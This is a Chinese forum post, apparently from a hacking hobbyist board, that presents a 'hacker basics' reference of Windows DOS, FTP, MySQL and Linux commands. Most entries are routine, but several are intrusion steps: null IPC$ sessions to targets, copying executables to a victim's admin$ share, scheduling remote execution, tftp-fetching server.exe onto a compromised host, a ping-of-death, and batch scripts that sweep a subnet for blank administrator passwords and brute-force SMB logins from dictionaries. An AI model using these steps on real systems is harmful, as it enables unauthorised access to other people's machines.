获得本站免费赞助空间请点这里
返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
% a9 r8 D0 R. j3 qnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 7 c) o* }5 q- b5 Q. C4 ^5 q! i, r! D
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: ; q+ m2 s6 D/ T) Z. x7 I8 B
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H: * g" S. _% ^; u
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 % z9 }1 _# p$ m; x  N+ D
net use h: /del 删除映射对方到本地的为H:的映射
1 }$ p+ S$ B/ g: j& ^net user 用户名 密码 /add 建立用户 ( z9 [4 Y6 H/ x) }- H
net user guest /active:yes 激活guest用户
; q* k3 K/ p+ O) e# Bnet user 查看有哪些用户
2 m& A6 d. c: `- j7 i0 M" T6 snet user 帐户名 查看帐户的属性
( V: T$ e; ]  H! R" L. Ynet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
* [1 y: S4 D8 `5 q: ?. P3 Tnet start 查看开启了哪些服务
7 k5 C2 ~& q9 F) Unet start 服务名  开启服务;(如:net start telnet, net start schedule) ( F# k3 [5 u6 f# I" p+ h9 i
net stop 服务名 停止某服务
1 G/ P4 z0 x& c, ?net time \\目标ip 查看对方时间 ) L: o/ w! p, ~2 Q
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
4 t1 h) R1 P# M. M, e/ P* A( Mnet view 查看本地局域网内开启了哪些共享
1 \  G1 M9 i4 {net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 9 L( G( m6 W/ n& V6 k  @
net config 显示系统网络设置 / z4 V4 u6 p( U+ k" g! y( o
net logoff 断开连接的共享 ( {/ n% b6 W  a6 v( w
net pause 服务名 暂停某服务 6 M7 h2 _% E) x7 K) e
net send ip "文本信息" 向对方发信息 , _0 j3 e% i0 ~) ]) t' z
net ver 局域网内正在使用的网络连接类型和信息
1 H/ u( J. Z/ U4 s+ L0 _net share 查看本地开启的共享   N  i+ u; B2 r* d! J8 B
net share ipc$ 开启ipc$共享
3 L8 ~0 p- [3 E& Onet share ipc$ /del 删除ipc$共享 & x5 ]3 a$ u) o4 ~2 H. ^4 h- x
net share c$ /del 删除C:共享 9 J! c2 ?7 o7 N) G7 U& Z( ]
net user guest 12345 用guest用户登陆后用将密码改为12345
% L4 N- l, M. d2 F" Enet password 密码 更改系统登陆密码 ( o/ d, ~% o% j" z+ ~; V2 l7 N
netstat -a 查看开启了哪些端口,常用netstat -an , v' V, D' @. D0 q, u/ |$ K" C
netstat -n 查看端口的网络连接情况,常用netstat -an 6 z/ ~' H  y% [. J" G4 j5 }
netstat -v 查看正在进行的工作
1 p! p- w0 ]4 [% y% Xnetstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) / r( a0 y) M  d, w* H
netstat -s 查看正在使用的所有协议使用情况 8 x! k7 F  N1 {8 Z2 s; D* q
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
0 A  g5 L% u1 Rtracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ; h5 b+ e& _  |3 g1 s
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 * C: y. T- Q/ i, \
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
: e: [1 ~" S6 B6 e  z/ K0 bipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 + T- F& J9 o* A- g% ]0 D' V9 d* z: _1 e
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
# ~, q7 \& v. hkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) % E6 n. n7 a$ w' r
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
* g/ A( i4 |/ D, X8 ldel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
* f8 _6 j: H8 J0 j' D, Q2 Jmove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
+ V" r% k1 `) w* }3 m! t# xfc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
6 n& ]! A) X! M0 k* Z' g4 V. fat id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务 0 U9 z7 Q: W0 {1 O  w1 l
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 ! d# N9 b  r  O+ R
at id号 /delete 停止某个已注册的计划任务
2 p4 _5 r7 {" v$ Y3 x; z3 M6 pat 查看所有的计划任务 6 q% m5 f" Q& |. D
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
; S6 g3 N2 C2 R7 r: f/ ?. T: vfinger username @host 查看最近有哪些用户登陆 7 `: O& P; H# n7 [
telnet ip 端口 远和登陆服务器,默认端口为23 : x5 @$ Q9 g6 o& W9 `$ \2 ?) z
open ip 连接到IP(属telnet登陆后的命令) ( D% X+ s; t7 u
telnet 在本机上直接键入telnet 将进入本机的telnet
$ F) |# l$ e. s. u- @copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 7 c& v3 J: `3 `  K% I; s
copy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
. U9 p3 `. M) l- Ccppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
5 @3 {3 m! p& j! s; x" F; Tcopy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: - w3 t$ E0 a8 q& I1 z8 X; [
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
6 v- v; c& R; @. S. ?tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 5 }* E$ p, f( U8 }) M0 r4 ^# x. ]) o" H
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 $ u+ M: `3 D6 }* V1 H  x- r
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 6 [, H. m% w/ q7 I( h
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 1 l3 @2 s, h1 U
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
  A& K. D; K& H  C  R7 O  istart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
# h( X6 p( }$ B) R2 Jmem 查看cpu使用情况
4 j) p7 x7 u- q  J/ Fattrib 文件名(目录名) 查看某文件(目录)的属性 3 W# C$ f( Q2 \
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
/ h$ G2 H) C3 O) q' x9 S* O2 ~9 ?dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
: _% F* e  a! e% Gdate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 , R, i1 V% s' D) X/ ?
set 指定环境变量名称=要指派给变量的字符 设置环境变量
5 v2 o4 J. e8 c9 W( k8 f! lset 显示当前所有的环境变量
% j/ ~) ~$ a8 Iset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
3 P, s' T6 T, b: X+ apause 暂停批处理程序,并显示出:请按任意键继续....
' l' z3 t8 K( jif 在批处理程序中执行条件处理(更多说明见if命令及变量) 7 [: z1 O' N0 K" n5 j1 ~
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) ) L# B; O/ L8 F6 g; N, l
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 6 l2 Y2 w- Y; @/ v1 F
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
9 P2 Y2 B/ g, g) w3 a$ Iecho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 1 z3 \  C  }' q% m& {! X
echo 信息 在屏幕上显示出信息 . d& `: H1 W9 Z* H$ O4 e
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 3 ~& o; Q, b( [, T4 q( \) u3 q
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
) E+ z" ~9 [7 A, n* W& y0 Wfind 文件名 查找某文件
! F2 J5 k- E0 P; k. Utitle 标题名字 更改CMD窗口标题名字
4 d2 d+ W4 v0 Q9 Scolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 ( ?8 d( D- B# }  W. i$ A" \
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ ) ' m7 w( M" [" ^5 w; p; B# N) `$ `- @
print 文件名 打印文本文件 ' K+ x5 [7 p2 m/ s( {7 v* `; C
ver 在DOS窗口下显示版本信息
; x' j1 p% X, ~0 ?( t. Rwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) ( ~% a' W, o( D" ~7 C- t# r3 u/ f$ Y& Y
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 8 [9 v$ H2 c$ F' ?+ {9 c
md 目录名 创建目录
2 K! R/ f0 c) \  Ereplace 源文件 要替换文件的目录 替换文件 - p+ g  A" V  \
ren 原文件名 新文件名 重命名文件名 / [/ z0 k4 S- C4 f/ l" H
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
1 m) n+ |. D1 h/ btype 文件名 显示文本文件的内容 / X$ C+ [; l" T; N! s1 L; x: S) c
more 文件名 逐屏显示输出文件 7 m; p/ s$ w. r3 I" J
doskey 要锁定的命令=字符
7 D, O. M7 c# I1 W! Idoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= / L% Y; K6 ^( a0 S
taskmgr 调出任务管理器
" V* `; m" ^% Q* e* p$ A5 jchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
& E  F; p5 E+ {1 T7 i; V5 n& {tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
( _2 H, i4 J# M& ~. wexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
4 x8 A/ u! A1 Y! B' t; Gpath 路径\可执行文件的文件名 为可执行文件设置一个路径。
) }: L* J' D- a2 y7 A0 ^, w# Pcmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? ! s) m* G& i+ p7 J
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; " m. y2 y, H4 i$ t
regedit /e 注册表文件名 导出注册表
  s% D; o, D1 [cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 , F$ U+ b/ ]0 M4 Y) h8 ?
cacls 文件名 查看文件的访问用户权限列表
# `) E3 h. {: K0 bREM 文本内容 在批处理文件中添加注解
3 e& @/ T1 D3 y: c3 l) A: S4 w) ~netsh 查看或更改本地网络配置情况
6 t1 o3 H- T6 x  v# v# A+ }# G0 EIIS服务命令:/ |8 x6 j. x. t. j$ v- [$ E
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) : G* F& e, c( m/ a% Q* [
iisreset /start或stop 启动(停止)所有Internet服务 , B" F7 F" |, @& b8 R& T2 A9 f7 p, ~
iisreset /restart 停止然后重新启动所有Internet服务
: I( j! o' ?$ ciisreset /status 显示所有Internet服务状态 % B" i' _9 E' U- l4 `9 J9 C
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
7 B9 ?( t, i% L- q8 m4 r5 [2 kiisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
( m* x* U7 D" e+ [# U' siisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 2 @* K( F- v! d4 t
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 6 W7 v7 w8 a( m4 Y# _
FTP 命令: (后面有详细说明内容)
" I8 ^- W- e: \ftp的命令行格式为:
" `& |% X. _  v( tftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
/ Y; g4 ?7 O2 \- V  ?-d 使用调试方式。 6 o0 t7 X) k, n; C  Y
-n 限制ftp的自动登录,即不使用.netrc文件。! u& f% a( C  ^8 }0 J4 V3 `5 _
-g 取消全局文件名。
# d2 \/ w1 W9 G5 j- Uhelp [命令] 或 ?[命令] 查看命令说明
' B9 G- U8 w+ C0 B3 Sbye 或 quit 终止主机FTP进程,并退出FTP管理方式. , K) y, d* g+ I3 g9 i
pwd 列出当前远端主机目录 ' P1 }  B6 C; z$ a5 c; d
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
3 `% Y/ P; i" g& v! G3 Dget 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
. z/ G8 K+ s- A- h! r( v2 Cmget [remote-files] 从远端主机接收一批文件至本地主机
5 v% f  k: `3 K$ b# Nmput local-files 将本地主机中一批文件传送至远端主机
+ U2 y3 y+ I% [% U" Ydir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 + Z, W+ Z+ P, }( F8 N6 X2 E
ascii 设定以ASCII方式传送文件(缺省值) - ~6 o3 \8 \* T# {: T
bin 或 image 设定以二进制方式传送文件
! G$ ~# ?2 }7 X! i) T  v# ~" Ibell 每完成一次文件传送,报警提示
$ o) c( ~; S% b7 ]4 b0 i  Qcdup 返回上一级目录 7 T- E% r  i) O5 A5 u1 t; O; h
close 中断与远程服务器的ftp会话(与open对应)
7 m$ K/ P8 g0 e4 Y# S2 ~3 T6 `/ u5 aopen host[port] 建立指定ftp服务器连接,可指定连接端口
3 w# K3 v9 a! E/ Vdelete 删除远端主机中的文件
$ V5 b3 [% L5 E0 V, W( b6 Umdelete [remote-files] 删除一批文件
' }. D& e$ |( H9 p9 pmkdir directory-name 在远端主机中建立目录 + l7 v/ l: T6 |) }  Z
rename [from] [to] 改变远端主机中的文件名
; ^3 p; H- l! R6 Irmdir directory-name 删除远端主机中的目录
4 @) C0 c( K% @, y- C. K; U, i8 ostatus 显示当前FTP的状态 2 H2 ]' B: |. w  P
system 显示远端主机系统类型 9 O, a4 {* Q) o
user user-name [password] [account] 重新以别的用户名登录远端主机 4 W" l/ w2 J: n% b6 p8 q! B
open host [port] 重新建立一个新的连接 - y4 R" y- m6 F% }2 Z, ?* [4 p
prompt 交互提示模式 , Y/ b4 J5 e4 c
macdef 定义宏命令
) t  X4 U# R6 t, l7 j% \lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 , x4 `0 H9 p7 C( J
chmod 改变远端主机的文件权限
, h5 B# ?2 o6 B5 w2 acase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
- [5 F3 H2 }5 [# o; zcd remote-dir 进入远程主机目录
6 q/ S+ A$ y9 J  ]; W6 Ncdup 进入远程主机目录的父目录 ' y3 X1 R+ `: \9 r
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
! S9 G- Z$ M- }" qMYSQL 命令:
! J1 ?* I5 F$ H  Tmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。2 N% S3 M' l" d
(例:mysql -h110.110.110.110 -Uroot -P123456
3 Z  i8 H8 e3 N+ l' M3 a! V9 t/ L注:u与root可以不用加空格,其它也一样)
7 R8 s* l; X" \1 Y: Z; `exit 退出MYSQL
" \8 N. q0 G# r" emysqladmin -u用户名 -p旧密码 password 新密码 修改密码 7 H. R# n( u5 d$ h* T+ U
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) ; B8 g  U0 {+ C% Z! g; J- X
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 . z7 v8 D  T+ [* b+ S, u" `. m0 A, ?
use mysql;
1 U  M- j! t7 {! h) E( f8 Nshow tables; 显示库中的数据表 $ D+ Q! J& l+ C% r& t. ?
describe 表名; 显示数据表的结构
+ U# s) q2 [" Jcreate database 库名; 建库
+ Q$ }4 K( x9 c- b3 A4 \" r- V$ V$ vuse 库名;4 l2 e1 C0 L  {2 ?# O2 B
create table 表名 (字段设定列表); 建表 : C2 F9 o2 D3 t/ j3 V
drop database 库名;   ]; U' E" ~" b; a0 {" B' `
drop table 表名; 删库和删表   e* J* J( o$ z7 N+ _" ?' i
delete from 表名; 将表中记录清空 ; Z( P1 I: `! O8 ?8 V9 f1 G
select * from 表名; 显示表中的记录
( \. ~2 \6 R: y4 P, l8 xmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
1 ?# B5 g* r$ w; o$ }win2003系统下新增命令(实用部份): $ p% D! H: k! E, I& J' w& E
shutdown /参数 关闭或重启本地或远程主机。
& o, Z; b% {6 l% Z8 W2 ^! b参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。4 n9 i, L9 F2 T) \$ V+ A! b
例:shutdown /r /t 0 立即重启本地主机(无延时) 0 u2 p/ {, b9 k# `# R! P
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
' [4 _/ A" g+ L参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 & O( A1 P0 u5 {; e
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。; A; b" f( R  E) Y
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程. @0 T+ u& Q) S  Z; v  A7 T' \' J2 M
Linux系统下基本命令: 要区分大小写
) |. K7 _) c; buname 显示版本信息(同win2K的 ver)
: X( D3 }0 P% E! O0 ^& s: zdir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) # k, ~" P5 x0 G! b* \1 r3 h2 L
pwd 查询当前所在的目录位置
- f& h/ U6 Y/ ]1 s* Bcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 3 R5 [: b- _, W( k* ~: m) ~5 }! H
cat 文件名 查看文件内容
# L9 ]% Z3 T8 z% l& F& f/ t8 E0 ecat >abc.txt 往abc.txt文件中写上内容。 $ c/ N( O& J# I; c( R
more 文件名 以一页一页的方式显示一个文本文件。
3 i9 y. a1 z( ]5 H( x) g- Ecp 复制文件
+ [5 g! Z" x( W# J3 bmv 移动文件
7 o  P9 Y4 ]$ l* I3 @* z. V( W2 ~rm 文件名 删除文件,rm -a 目录名删除目录及子目录 : n0 M. b  o" o3 a0 t1 x
mkdir 目录名 建立目录
4 e; J# M3 T0 v, P2 w, srmdir 删除子目录,目录内没有文档。
+ e/ e' J8 x' c6 d8 I$ `) Y& Z/ y! Ochmod 设定档案或目录的存取权限
4 `9 d; D0 V' f: Ygrep 在档案中查找字符串 9 E! y7 x1 P' D' ]' w' d! g0 U- z
diff 档案文件比较
/ r$ L% v% p! R! B2 \find 档案搜寻 3 M+ a& }" {- k4 ~! ?. r1 s
date 现在的日期、时间
$ k$ ]6 H; w0 ~" gwho 查询目前和你使用同一台机器的人以及Login时间地点
/ p! @3 m, W  ~$ E" rw 查询目前上机者的详细资料 ) @! }% }/ [6 E9 X5 A- a  B
whoami 查看自己的帐号名称 1 i/ a$ F! O" O8 Y  x
groups 查看某人的Group
: S/ o+ H$ p/ K5 M0 q2 {passwd 更改密码
" I1 X  }1 q+ y3 ^9 }' J. vhistory 查看自己下过的命令 . D. R( F3 e/ `9 a# ~! Q0 \& C
ps 显示进程状态
" ~& z( W; L6 t4 s/ I3 D# Hkill 停止某进程 . ^! m9 G' V% W4 v" u& _# v& D: f' g! {
gcc 黑客通常用它来编译C语言写的文件 * E) e( j$ y7 I
su 权限转换为指定使用者
6 c" a3 a# }7 w7 s. D1 m' Ptelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 , N0 C4 Y9 Q# }& {) s6 e
ftp ftp连接上某服务器(同win2K. |) c  _: R7 l% W( `8 P" ]/ q- |, c4 c$ B
附:批处理命令与变量! @. P, X5 G$ j; w
1:for命令及变量 基本格式: % L; Y6 [3 ?* R, S
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
' A% H4 C1 \2 Z5 E5 y批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3
* B* C, z4 r5 ?(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}- M7 ]0 L7 p$ F' C8 [: t
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
3 I  T# K. _2 r( [3 f. R. |# B9 Acommand_parameters:为特定命令指定参数或命令行开关$ ~* u3 D/ f% d9 \
IN (set):指在(set)中取值;DO command :指执行command
& }" w) P( r8 V" i参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 4 m4 L: [% q8 e0 [* R. k. F
用法举例:   a/ Z& H9 k" S# r# n0 D$ J+ C' @
@echo off : i* I, W, P. v# O
echo 用法格式:test.bat *.*.* > test.txt
0 x8 H) R4 e) w: V# nfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt
! r" h" d. b" y4 J存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
' e' Q4 P0 ]6 |8 C/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
6 g( R: ^5 r1 c9 _) o9 f6 @@echo off , g; ^! u0 e$ _( u6 s. k6 E& C
echo 用法格式:ok.bat ip 4 r3 ?0 }7 y7 Q3 ]
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 - q" t3 o' o4 }: a' f- `% J
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。. k. i* C( K9 i3 l
2:if命令及变量 基本格式: # m  ~( I* a9 g- w8 X, a+ g
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。6 q5 T8 z) ^# m
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
- p: }! x4 {& \% ]* T0 指发现并成功执行(真);1 指没有发现、没执行(假)。
0 F3 n0 h) N$ C5 W+ bIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
$ j# c. B/ j- A例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
0 R  }' m( v* p* Q* i" ?9 OIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。) k7 d9 e5 `  I/ A; e
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 / M1 F( n3 L  [, X: ]6 H- Q; X
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: